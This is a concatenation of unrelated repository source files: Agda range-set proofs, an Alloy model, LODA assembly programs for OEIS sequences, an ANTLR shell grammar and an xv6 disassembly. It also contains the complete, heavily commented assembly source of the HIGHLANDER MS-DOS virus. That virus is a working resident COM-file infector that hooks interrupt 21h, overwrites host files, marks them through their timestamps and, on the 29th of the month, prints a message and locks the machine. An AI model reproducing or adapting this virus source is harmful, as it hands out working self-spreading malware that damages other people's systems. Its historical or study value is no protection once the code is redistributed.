(merge2 t1 ms2) (merge2 ms1 t2)) =⟨⟩ (merge2 t1 ms2) =⟨ prop_sym_merge2 t1 ms2 ⟩ (merge2 ms2 t1) =⟨⟩ if_then_else_ false (merge2 t2 ms1) (merge2 ms2 t1) end prop_sym_merge2' ⦃ o ⦄ ⦃ dio ⦄ ms1@(h1 ∷ t1) ms2@(h2 ∷ t2) false = begin (if_then_else_ false (merge2 t1 ms2) (merge2 ms1 t2)) =⟨⟩ (merge2 ms1 t2) =⟨ prop_sym_merge2 ms1 t2 ⟩ (merge2 t2 ms1) =⟨⟩ if_then_else_ true (merge2 t2 ms1) (merge2 ms2 t1) end prop_sym_merge2 ⦃ o ⦄ ⦃ dio ⦄ [] [] = refl prop_sym_merge2 ⦃ o ⦄ ⦃ dio ⦄ ms1@(h1 ∷ t1) [] = refl prop_sym_merge2 ⦃ o ⦄ ⦃ dio ⦄ [] ms2@(h2 ∷ t2) = refl prop_sym_merge2 ⦃ o ⦄ ⦃ dio ⦄ ms1@(h1 ∷ t1) ms2@(h2 ∷ t2) = begin merge2 ms1 ms2 =⟨⟩ (rangeIntersection h1 h2) ∷ (if_then_else_ (rangeUpper h1 < rangeUpper h2) (merge2 t1 ms2) (merge2 ms1 t2)) =⟨ cong ((rangeIntersection h1 h2) ∷_) (prop_sym_merge2' ⦃ o ⦄ ⦃ dio ⦄ ms1 ms2 (rangeUpper h1 < rangeUpper h2)) ⟩ (rangeIntersection h1 h2) ∷ (if_then_else_ (not (rangeUpper h1 < rangeUpper h2)) (merge2 t2 ms1) (merge2 ms2 t1)) =⟨ cong ((rangeIntersection h1 h2) ∷_) (cong (ifThenElseHelper (merge2 t2 ms1) (merge2 ms2 t1)) (sym (equalityRanges2 h2 h1))) ⟩ ((rangeIntersection h1 h2) ∷ (if_then_else_ (rangeUpper h2 < rangeUpper h1) (merge2 t2 ms1) (merge2 ms2 t1))) =⟨ cong (_∷ (if_then_else_ (rangeUpper h2 < rangeUpper h1) (merge2 t2 ms1) (merge2 ms2 t1))) (prop_intersection_sym h1 h2) ⟩ ((rangeIntersection h2 h1) ∷ (if_then_else_ (rangeUpper h2 < rangeUpper h1) (merge2 t2 ms1) (merge2 ms2 t1))) =⟨⟩ merge2 ms2 ms1 end prop_intersection_commutes : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs1 : RSet a) → (rs2 : RSet a) → {prf1 : IsTrue (validRangeList (rSetRanges rs1))} → {prf2 : IsTrue (validRangeList (rSetRanges rs2))} → (rSetIntersection rs1 {prf1} rs2 {prf2}) ≡ (rSetIntersection rs2 {prf2} rs1 {prf1}) prop_intersection_commutes (RS []) (RS []) = refl prop_intersection_commutes (RS ranges@(r ∷ rs)) (RS []) = refl prop_intersection_commutes (RS []) (RS ranges@(r ∷ rs)) = refl prop_intersection_commutes ⦃ o ⦄ ⦃ dio ⦄ rs1@(RS ls1@(r1 ∷ rss1)) rs2@(RS ls2@(r2 ∷ rss2)) {prf1} {prf2} = begin (rSetIntersection rs1 {prf1} rs2 {prf2}) =⟨⟩ RS ⦃ o ⦄ ⦃ dio ⦄ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ⦃ o ⦄ ⦃ dio ⦄ ls1 ls2)) {intersection0 rs1 rs2 prf1 prf2} =⟨ rangesEqiv (cong (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)) (prop_sym_merge2 ls1 ls2)) ⟩ RS ⦃ o ⦄ ⦃ dio ⦄ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ⦃ o ⦄ ⦃ dio ⦄ ls2 ls1)) {intersection0 rs2 rs1 prf2 prf1} =⟨⟩ (rSetIntersection rs2 {prf2} rs1 {prf1}) end -- if x is strict subset of y, y is not strict subset of x -- prop_subset_not1 asserts that rSetIsSubstrict x y is true -- this means that rSetIsEmpty (rSetDifference x y) is true -- and rSetEmpty (rSetDifference x y) is false prop_subset_not1 : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs1 rs2 : RSet a) → {prf1 : IsTrue (validRangeList (rSetRanges rs1))} → {prf2 : IsTrue (validRangeList (rSetRanges rs2))} -> (a1 : IsTrue (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) -> (a2 : IsTrue (not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1})))) → (rSetIsSubsetStrict rs1 {prf1} rs2 {prf2}) ≡ (not (rSetIsSubsetStrict rs2 {prf2} rs1 {prf1})) prop_subset_not1 {{ o }} {{ dio }} rs1 rs2 {prf1} {prf2} a1 a2 = begin rSetIsSubsetStrict rs1 {prf1} rs2 {prf2} =⟨⟩ (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}) && not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}))) =⟨ not-not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}) && not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}))) ⟩ not (not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}) && not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1})))) =⟨ cong not (prop_demorgan (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2})) (not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1})))) ⟩ not ((not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) || (not (not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}))))) =⟨ cong not (cong ((not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) ||_) (sym (not-not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}))))) ⟩ not ((not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) || (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}))) =⟨ cong not (prop_or_sym (not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}))) ⟩ not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}) || not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) =⟨ cong not (prop_or_and_eqiv_false (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1})) (not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) (isTrueAndIsFalse2 a2) (isTrueAndIsFalse1 a1)) ⟩ not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}) && not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) =⟨⟩ not (rSetIsSubsetStrict rs2 {prf2} rs1 {prf1}) end -- if x is strict subset of y, y is not strict subset of x -- prop_subset_not2 asserts that rSetIsSubstrict x y is false -- this means that rSetIsEmpty (rSetDifference x y) is false -- and rSetEmpty (rSetDifference x y) is true prop_subset_not2 : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs1 rs2 : RSet a) → {prf1 : IsTrue (validRangeList (rSetRanges rs1))} → {prf2 : IsTrue (validRangeList (rSetRanges rs2))} -> (a1 : IsFalse (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) -> (a2 : IsFalse (not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1})))) → (rSetIsSubsetStrict rs1 {prf1} rs2 {prf2}) ≡ (not (rSetIsSubsetStrict rs2 {prf2} rs1 {prf1})) prop_subset_not2 {{ o }} {{ dio }} rs1 rs2 {prf1} {prf2} a1 a2 = begin rSetIsSubsetStrict rs1 {prf1} rs2 {prf2} =⟨⟩ (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}) && not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}))) =⟨ not-not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}) && not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}))) ⟩ not (not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}) && not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1})))) =⟨ cong not (prop_demorgan (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2})) (not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1})))) ⟩ not ((not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) || (not (not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}))))) =⟨ cong not (cong ((not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) ||_) (sym (not-not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}))))) ⟩ not ((not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) || (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}))) =⟨ cong not (prop_or_sym (not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}))) ⟩ not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}) || not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) =⟨ cong not (prop_or_and_eqiv_true (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1})) (not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) (isTrueAndIsFalse3 a2) (isTrueAndIsFalse4 a1)) ⟩ not (rSetIsEmpty (rSetDifference rs2 {prf2} rs1 {prf1}) && not (rSetIsEmpty (rSetDifference rs1 {prf1} rs2 {prf2}))) =⟨⟩ not (rSetIsSubsetStrict rs2 {prf2} rs1 {prf1}) end prop_strictSubset_means_subset : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (rs1 rs2 : RSet a) → {prf1 : IsTrue (validRangeList (rSetRanges rs1))} → {prf2 : IsTrue (validRangeList (rSetRanges rs2))} → IsTrue (rSetIsSubsetStrict rs1 {prf1} rs2 {prf2}) -> IsTrue (rSetIsSubset rs1 {prf1} rs2 {prf2}) prop_strictSubset_means_subset {{ o }} {{ dio }} rs1 rs2 {prf1} {prf2} prf = isTrue&&₁ {(rSetIsSubset rs1 {prf1} rs2 {prf2})} prf
alloy4fun_models/trashltl/models/3/M8HEkB3ty3qdc5QSi.als
Kaixi26/org.alloytools.alloy
0
3062
open main pred idM8HEkB3ty3qdc5QSi_prop4 { some f: File | eventually f in Trash } pred __repair { idM8HEkB3ty3qdc5QSi_prop4 } check __repair { idM8HEkB3ty3qdc5QSi_prop4 <=> prop4o }
oeis/000/A000037.asm
neoneye/loda-programs
11
172619
<reponame>neoneye/loda-programs<gh_stars>10-100 ; A000037: Numbers that are not squares (or, the nonsquares). ; Submitted by <NAME>(m2) ; 2,3,5,6,7,8,10,11,12,13,14,15,17,18,19,20,21,22,23,24,26,27,28,29,30,31,32,33,34,35,37,38,39,40,41,42,43,44,45,46,47,48,50,51,52,53,54,55,56,57,58,59,60,61,62,63,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,101,102,103,104,105,106,107,108,109,110 sub $2,$0 div $0,2 lpb $0 add $1,1 sub $0,$1 lpe sub $1,$2 add $1,2 mov $0,$1
programs/oeis/016/A016794.asm
neoneye/loda
22
88343
; A016794: (3n+2)^6. ; 64,15625,262144,1771561,7529536,24137569,64000000,148035889,308915776,594823321,1073741824,1838265625,3010936384,4750104241,7256313856,10779215329,15625000000,22164361129,30840979456 mul $0,3 add $0,2 pow $0,6
MSDOS/Virus.MSDOS.Unknown.highland.asm
fengjixuchui/Family
3
18274
<reponame>fengjixuchui/Family ;HIGHLAND.COM ;This is the HIGHLANDER Virus version 1.0. ;This virus is a generic, parasitic, resident COM infector. It will not ;infect command.com however. It is not destructive but can be irritating. ;Interrupt 21 is hooked. ;This virus is to be assembled under TASM 2.0 with the /m2 switch. ;When an infected file is executed, the virus code is executed first. ;The virus first checks to see if the virus is already resident. It does ;this by setting the AH register to 0DEh. This subfunction is currently ;unsupported by DOS. Interrupt 21 is then called. If after the call, AH is ;unchanged, the virus is not resident. If AH no longer contains 0DEh, the ;virus is assumed to be resident (If the virus is resident, AH will actually ;be changed to 0EDh. This is never checked for, only a change from 0DEh ;is checked for). If the virus is already resident, the executing viral ;code will restore the host in memory to original condition and allow it ;to execute normally. If however, the virus is not resident, Interrupt 21 ;will then be trapped by the virus. Once this is accomplished, the virus ;will free all available memory that it does not need (COM programs are ;allocated all available memory when they are executed even though they can ;only occupy one segment). The viral code will then copy the original ;environment and determine the path and filename of the host program in ;memory. The viral code will then shell out and re-execute the host ;program. The virus is nearly resident now. When the virus shells out ;and re-executes the host, a non-supported value is passed in the AL ;register. This is interpreted by the virus to mean that the infection ;is in transition and that when the host is re-executed, to assume that the ;virus is already resident. This value is then changed to the proper value ;so that the shell process will execute normally (INT 21 is already trapped ;at this point). This shell process is invisible, since the viral code ;so successfully copies the original environment. Once the host has ;finished executing, control is then returned back to the original host ;(the viral code). The virus then completes execution by going resident ;using interrupt 027h. In all appearances, the host program has just ;completed normal execution and has terminated. In actuality, the virus ;is now fully resident. ;When the virus is resident, interrupt 021h is trapped and monitored. ;When a program is executed, the resident virus gets control (DOS executes ;programs by shelling from DOS using interrupt 021h, subfunction 04bh). ;When the virus sees that a program is being executed, a series of checks ;are performed. The first thing checked for is whether or not the program ;to be executed has 'D' as the seventh letter in the filename. If it does ;the program is not infected and is allowed to execute normally (this is ;how the virus keeps from infecting COMMAND.COM. No COM file with a 'D' ;as the seventh letter will be infected). If there is no 'D' as the seventh ;letter, the virus then checks to see if the program to be executed is a ;COM file or not. If it is not a COM file, it is not infected and allowed ;to execute normally. If the COM file test is passed, the file size is then ;checked. Files are only infected if they are larger than 1024 bytes and ;smaller than 62000 bytes. If the file size is within bounds, the file ;is checked to see if it is already infected. Files are only infected ;a single time. The virus determines infection by checking the date/time ;stamp of the file. If the seconds portion of the stamp is equal to 40, ;the file is assumed to be infected. If the file is infected, the virus ;then checks the date. If it is the 29th day of any month, the virus will ;then display its irritating qualities by displaying the message ;'Highlander 1 RULES!' 21 times and then locking the machine and forcing ;a reboot. If the file is not infected, infection will proceed. The ;virus stores the original attributes and then changes the attributes to ;normal, read/write. The file length is also stored. The file is then ;opened and the first part of the file is read and stored in memory (the ;exact number of bytes is the same length as the virus). The virus then ;proceeds to overwrite the first part of the file with its own code. The ;file pointer is then adjusted to the end of the file and a short ;restoration routine is copied. The original first part of the file is ;then copied to the end of the file after the restore routine. The files ;time/date stamp is then adjusted to show an infection (the seconds portion ;of the time is set to 40. This will normally never be noticed since ;directory listings never show the seconds portion). The file is then ;closed and the original attributes are restored. Control is then passed ;to the original INT 021h routine and the now infected program is allowed ;to execute normally. ;This virus will infect read-only files. ;COMMAND.COM will not be infected. ;It is not destructive but can be highly irritating. .model tiny .code IDEAL begin: jmp checkinfect ;jump over data to virus code data1: dw offset endcode+0100h ;address of restore routine typekill: db 01ah ;kills the DOS 'type' command version: db 'v05' ;virus version number data2: dw 0,080h,0,05ch,0,06ch,0 ;environment string for shell process data3: db 'COM' ;COM file check data4: db 0,0,1,0 ;data preceeding filename in environment data5: db 'Highlander 1 RULES! $' ;irritating message restcode: ;restoration routine to restore host rep movsb ;move host code back to original loc push cs ;setup to transfer control to 0100h mov ax,0100h push ax mov ax,cx ;zero ax ret ;transfer control to 0100h and allow host ;to execute normally checkinfect: ;check to see if virus already resident mov ax,0de00h ;unsupported subfunction int 21h cmp ah,0deh ;is it unchanged? je continfect ;yes, continue going resident ;no, already resident, restore host restorehost: ;setup for restore routine mov di,0100h ;destination of bytes to be moved mov si,[word data1+0100h] ;address of restore routine ;(original host) push cs ;setup for xfer to restore routine push si add si,checkinfect-restcode ;source of bytes to be moved mov cx,endcode-begin ;number of bytes to move ret ;xfer to restore routine continfect: ;continue infection mov ax,3521h ;set ax to get INT 21 vector address int 21h ;get INT 21 vector mov [WORD int21trap+1+0100h],bx ;store address in viral code mov [WORD int21trap+3+0100h],es ;store segment in viral code mov dx,offset start+0100h ;set dx to start of viral code mov ax,2521h ;set ax to change INT 21 vector int 21h ;change INT 21 to point to virus mov [word data2+0100h+4],ds ;copy current segment to env string mov [word data2+0100h+8],ds ;for shell process mov [word data2+0100h+12],ds push ds ;restore es to current segment pop es mov bx,offset endcode+0100h ;set bx to end of viral code mov cl,04 ;divide by 16 shr bx,cl inc bx ;INC by 1 just in case. bx is number of ;paragraphs of memory to reserve mov ah,04ah ;set ah to release memory int 21h ;release all excess memory mov ds,[word 02ch] ;get segment of environment copy xor si,si ;zero si cld ;clear direction flag tryagain: mov di,offset data4+0100h ;point to data preceeding filename mov cx,4 ;data is 4 bytes long repe cmpsb ;check for match jne tryagain ;if no match, try again mov dx,si ;filename found. set dx to point mov bx,offset data2+0100h ;set bx to point to environment string mov ax,04bffh ;set ax to shell and execute. AL contains ;an invalid value which will be interpreted ;by the virus (int 21 is now trapped by it) ;and changed to 00. cld ;clear direction flag int 21h ;shell and re-execute the host program mov dx,(endcode-begin)*2+0110h ;set dx to end of virus *2 plus 10. This ;will point to the end of the resident ;portion of the virus int 27h ;terminate and stay resident start: ;start of virus. The trapped INT 21 points ;to this location. pushf ;store the flags cmp ah,0deh ;is calling program checking for infection? jne check4run ;no, continue on checking for execution mov ah,0edh ;yes, change ah to 0edh jmp cont ;jump over rest of viral code check4run: cmp ah,04bh ;check for program attempting to execute je nextcheck ;yes, continue checks jmp cont ;no, jump over rest of virus nextcheck: cmp al,0ffh ;check if virus is shelling. 0ffh will ;normally never be used and is used by ;the virus to shell the host before it is ;fully resident. This prevents the virus ;from shelling twice, which will work but ;lose the environment and cause problems. jne workvirus ;normal DOS shell. Jump to virus meat. xor al,al ;virus is shelling. zero al. jmp cont ;jump over rest of virus workvirus: push ax ;store all registers subject to change push bx push cx push es push si push di push dx push ds push cs ;store the code segment so it can be used push cs ;to set the ds and es registers pop ds ;set ds to same as cs pop es ;set es to same as cs mov dx,080h ;set dx to offset 080h mov ah,01ah ;set ah to create DTA int 21h ;create DTA at 080h (normal DTA area) pop ds ;set ds to original ds pop dx ;set dx to original dx (ds:dx is used to ;point to the path and filename of the ;program to be executed) push dx ;store these values back push ds xor cx,cx ;zero cx mov ah,04eh ;set ah to search for filename match int 21h ;search for filename (this is primarily ;done to setup data in the DTA so that it ;can be checked easier than making a ;number of individual calls) push es ;store es (same as cs) pop ds ;set ds to same as es and cs cmp [byte 087h],'D' ;check for 'D' as seventh letter in file jne j5 jmp endvirus ;if 'D' is 7th letter, dont infect j5: mov si,offset data3+0100h ;set source of bytes to compare mov di,089h ;set destination of bytes to compare mov cx,3 ;number of bytes to compare cld ;compare forward repe cmpsb ;compare bytes (check to see if file's ;extension is COM) je j1 jmp endvirus ;not a COM file. Dont infect j1: mov bx,[word 009ah] ;set bx to length of file cmp bx,1024 ;is length > 1024? jae j2 ;yes, continue with checks jmp endvirus ;no, dont infect j2: cmp bx,62000 ;is length < 62000? jbe j3 ;yes, continue with checks jmp endvirus ;no, dont infect j3: mov ax,[word 096h] ;set ax to file's time stamp and ax,0000000000011111b ;clear everything but seconds cmp ax,0000000000010100b ;is seconds = 40? jne j4 ;yes, continue with infection mov ah,02ah ;no, set ah to get the date int 21h ;get current system date mov cx,21 ;set cx to 21 cmp dl,29 ;is the date the 29th? je irritate ;yes, continue with irritate jmp endvirus ;no, let program execute normally irritate: mov dx,offset data5+0100h ;point dx to irritating message mov ah,09h ;set ah to write to screen int 21h ;write message 21 times loop irritate iret ;xfer program control to whatever's on ;the stack (this almost guarantee's a ;lockup and a reboot) j4: mov ax,[word 096h] ;set ax equal to the file's time stamp and ax,1111111111100000b ;zero the seconds portion or ax,0000000000010100b ;set the seconds = 40 add bx,0100h ;set bx = loc for restore routine (end ;of file once its in memory) mov [word data1+0100h],bx ;store this value in the virus mov bx,ax ;set bx = to adjusted time stamp pop ds ;get the original ds push ds ;store this value back mov ax,04300h ;set ax to get the file's attributes ;ds:dx already points to path/filename int 21h ;get the files attributes push cx ;push the attributes push bx ;push the adjusted time stamp xor cx,cx ;zero cx(attributes for normal, read/write) mov ax,04301h ;set ax to set file attributes int 21h ;set files attributes to normal/read/write mov ax,03d02h ;set ax to open file int 21h ;open file for read/write access mov bx,ax ;mov file handle to bx push cs ;push current code segment pop ds ;and pop into ds (ds=cs) mov cx,endcode-begin ;set cx equal to length of virus mov dx,offset endcode+0100h ;point dx to end of virus in memory mov ah,03fh ;set ah to read from file int 21h ;read bytes from beginning of file and ;store at end of virus. Read as many bytes ;as virus is long. xor cx,cx ;zero cx xor dx,dx ;zero dx mov ax,04200h ;set ax to move file pointer from begin int 21h ;mov file pointer to start of file mov cx,endcode-begin ;set cx = length of virus mov dx,0100h ;point dx to start of virus mov ah,040h ;set ah to write to file int 21h ;write virus to start of file xor cx,cx ;zero cx xor dx,dx ;zero dx mov ax,04202h ;set ax to move file pointer from end int 21h ;mov file pointer to end of file mov cx,checkinfect-restcode ;set cx to length of restore routine mov dx,offset restcode+0100h ;point dx to start of restore routine mov ah,040h ;set ah to write to file int 21h ;write restore routine to end of file mov cx,endcode-begin ;set cx to length of virus (length of code ;read from beginning of file) mov dx,offset endcode+0100h ;point dx to data read from file mov ah,040h ;set ah to write to file int 21h ;write data read from start of file to end ;of file following restore routine pop cx ;pop the adjusted time stamp mov dx,[word 098h] ;mov the file date stamp into dx mov ax,05701h ;set ax to write time/date stamp int 21h ;write time/date stamp to file mov ah,03eh ;set ah to close file int 21h ;close the file pop cx ;pop the original attributes pop ds ;pop the original ds pop dx ;pop the original dx push dx ;push these values back push ds mov ax,04301h ;set ax to set file attributes (ds:dx now ;points to original path/filename) int 21h ;set the original attributes back to file endvirus: ;virus execution complete. restore original ;values for INT 21 function pop ds pop dx pop di pop si pop es pop cx pop bx pop ax cont: ;virus complete. restore original flags popf pushf int21trap: ;this calls the original INT 21 routine db 09ah ;opcode for a far call nop ;blank area. the original INT 21 vector nop ;is copied to this area nop nop push ax ;after the original INT 21 routine has ;completed execution, control is returned ;to this point push bx pushf ;push the flags returned from the INT 21 ;routine. We have to get them in the ;proper location in the stack when we ;return to the calling program pop ax ;pop the flags mov bx,sp ;set bx equal to the stack pointer mov [word ss:bx+8],ax ;copy the flags to the proper location in ;the stack pop bx ;restore bx pop ax ;restore ax iret ;return to calling program signature: db 'dex' endcode: ;this file has been written as if it were ;a natural infection. At this point the ;virus is ended and we are at the restore ;routine. Following this is the host code ;which will be moved back to 0100h. This ;file could never actually be a natural ;infection however due to its small size rep movsb ;start of restore routine. move host back push cs ;set up to xfer to cs:0100h mov ax,0100h push ax mov ax,cx ;zero ax ret ;host is restored. xfer to start of host hoststart: ;This is the host program. It consists ;merely of a simple message being displayed jmp skipdata ;jump over message hostmessage: db 'The virus is now resident.$' skipdata: mov ah,09h ;set ah to write to screen mov dx,offset hostmessage+0100h ;point dx to message to display int 21h ;display message mov ah,04ch ;set ah to terminate program int 21h ;terminate program, return to DOS END
programs/oeis/290/A290074.asm
jmorken/loda
1
5892
<gh_stars>1-10 ; A290074: Decimal representation of the diagonal from the origin to the corner of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 641", based on the 5-celled von Neumann neighborhood. ; 1,1,5,3,23,15,95,63,383,255,1535,1023,6143,4095,24575,16383,98303,65535,393215,262143,1572863,1048575,6291455,4194303,25165823,16777215,100663295,67108863,402653183,268435455,1610612735,1073741823,6442450943,4294967295,25769803775,17179869183,103079215103,68719476735,412316860415,274877906943,1649267441663,1099511627775,6597069766655,4398046511103,26388279066623,17592186044415,105553116266495,70368744177663,422212465065983,281474976710655,1688849860263935,1125899906842623,6755399441055743,4503599627370495 mov $2,$0 lpb $0 sub $0,1 add $2,$0 lpb $0 mod $2,4 lpb $0 sub $0,1 mul $2,2 mov $1,$2 lpe lpe trn $1,2 lpe div $1,2 mul $1,2 add $1,1
shell/src/main/antlr/it/unicam/quasylab/sibilla/shell/SibillaScript.g4
nicdelgUnicam/sibilla
0
1590
grammar SibillaScript; @header { package it.unicam.quasylab.sibilla.shell; } script : (command)* EOF; command : module_command | seed_command | load_command | seed_command | load_command | environment_command | set_command | clear_command | reset_command | modules_command | state_command | states_command | info_command | replica_command | deadline_command | dt_command | measures_command | add_measure_command | remove_measure_command | load_properties_command | formulas_command | check_command | save_command | simulate_command | quit_command | run_command | cwd_command | cd_command | ls_command | add_all_measures_command | remove_all_measures_command | descriptive_statistics | summary_statistics | show_statistics | predicates_command | first_passage_time | reachability_command ; reachability_command: 'probreach' goal=STRING ('while' condition=STRING)? 'with' 'alpha' '=' alpha=REAL 'and' 'delta' '=' delta=REAL; first_passage_time: 'fpt' name=STRING; show_statistics: 'show' 'statistics'; summary_statistics: 'summary' 'statistics'; descriptive_statistics: 'descriptive' 'statistics'; quit_command: 'quit'; module_command : 'module' name=STRING ; seed_command : 'seed' (value=REAL)? ; load_command : 'load' value=STRING ; environment_command : ('env'|'environment') ; set_command : 'set' name=STRING value=REAL ; clear_command : 'clear' ; reset_command : 'reset' (name=STRING)? ; modules_command : 'modules' ; state_command : 'init' name=STRING ('(' values += REAL (',' values += REAL)* ')')? ; states_command: 'states' ; info_command : 'info' ; replica_command : 'replica' (value=INTEGER)? ; deadline_command : 'deadline' (value=(REAL|INTEGER))? ; dt_command : 'dt' (value=(REAL|INTEGER))? ; measures_command : 'measures' ; predicates_command : 'predicates' ; add_measure_command : 'add' 'measure' name=STRING ; add_all_measures_command : 'add' 'all' 'measures' ; remove_measure_command : 'remove' 'measure' name=STRING ; remove_all_measures_command : 'remove' 'all' 'measures' ; load_properties_command : ('properties'|'prop') file=STRING ; formulas_command : 'formulas' ; check_command : 'check' name=STRING ('(' args += REAL (',' args+= REAL )* ')') ('[' cargs+=command_argument (',' cargs+=command_argument)* ']')? ; command_argument: name=ID '=' value=REAL; save_command : 'save' (name=ID)? ('output' dir=STRING)? ('prefix' prefix=STRING)? ('postfix' postfix=STRING)? ; simulate_command : 'simulate' (label=ID)?; run_command: 'run' name=STRING ; cwd_command : 'cwd' ; ls_command : 'ls' ; cd_command : 'cd' name=STRING; fragment DIGIT : [0-9]; fragment LETTER : [a-zA-Z_]; ID : LETTER (DIGIT|LETTER)*; INTEGER : DIGIT+; REAL : ((DIGIT* '.' DIGIT+)|DIGIT+ '.')(('E'|'e')('-')?DIGIT+)?; STRING : '"' ( ~["\n\r] | '\\"')* '"' ; COMMENT : '/*' .*? '*/' -> channel(HIDDEN) // match anything between /* and */ ; WS : [ \r\t\u000C\n]+ -> channel(HIDDEN) ;
oeis/127/A127357.asm
neoneye/loda-programs
11
165513
; A127357: Expansion of 1/(1 - 2*x + 9*x^2). ; Submitted by <NAME> ; 1,2,-5,-28,-11,230,559,-952,-6935,-5302,51811,151340,-163619,-1689298,-1906025,11391632,39937489,-22649710,-404736821,-605626252,2431378885,10313394038,-1255621889,-95331790120,-179362983239,499260144602,2612787138355,732232975292,-22050618294611,-50691333366850,97072897917799,650367796137248,427079511014305,-4999151143206622,-13842017885541989,17308324517775620,159194810005429141,162614699350877702,-1107523891347106865,-3678580076852113048,2610554868419735689,38328330428508488810 mul $0,2 mov $1,1 lpb $0 sub $0,2 sub $1,$2 add $2,$1 add $1,$2 mul $2,9 lpe mov $0,$1
lab02/lab2/stressfs.asm
ahchu1993/opsys
0
95564
<reponame>ahchu1993/opsys _stressfs: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "fs.h" #include "fcntl.h" int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 e4 f0 and $0xfffffff0,%esp 6: 81 ec 30 02 00 00 sub $0x230,%esp int fd, i; char path[] = "stressfs0"; c: c7 84 24 1e 02 00 00 movl $0x65727473,0x21e(%esp) 13: 73 74 72 65 17: c7 84 24 22 02 00 00 movl $0x73667373,0x222(%esp) 1e: 73 73 66 73 22: 66 c7 84 24 26 02 00 movw $0x30,0x226(%esp) 29: 00 30 00 char data[512]; printf(1, "stressfs starting\n"); 2c: c7 44 24 04 32 0d 00 movl $0xd32,0x4(%esp) 33: 00 34: c7 04 24 01 00 00 00 movl $0x1,(%esp) 3b: e8 83 05 00 00 call 5c3 <printf> memset(data, 'a', sizeof(data)); 40: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 47: 00 48: c7 44 24 04 61 00 00 movl $0x61,0x4(%esp) 4f: 00 50: 8d 44 24 1e lea 0x1e(%esp),%eax 54: 89 04 24 mov %eax,(%esp) 57: e8 12 02 00 00 call 26e <memset> for(i = 0; i < 4; i++) 5c: c7 84 24 2c 02 00 00 movl $0x0,0x22c(%esp) 63: 00 00 00 00 67: eb 13 jmp 7c <main+0x7c> if(fork() > 0) 69: e8 a5 03 00 00 call 413 <fork> 6e: 85 c0 test %eax,%eax 70: 7e 02 jle 74 <main+0x74> break; 72: eb 12 jmp 86 <main+0x86> char data[512]; printf(1, "stressfs starting\n"); memset(data, 'a', sizeof(data)); for(i = 0; i < 4; i++) 74: 83 84 24 2c 02 00 00 addl $0x1,0x22c(%esp) 7b: 01 7c: 83 bc 24 2c 02 00 00 cmpl $0x3,0x22c(%esp) 83: 03 84: 7e e3 jle 69 <main+0x69> if(fork() > 0) break; printf(1, "write %d\n", i); 86: 8b 84 24 2c 02 00 00 mov 0x22c(%esp),%eax 8d: 89 44 24 08 mov %eax,0x8(%esp) 91: c7 44 24 04 45 0d 00 movl $0xd45,0x4(%esp) 98: 00 99: c7 04 24 01 00 00 00 movl $0x1,(%esp) 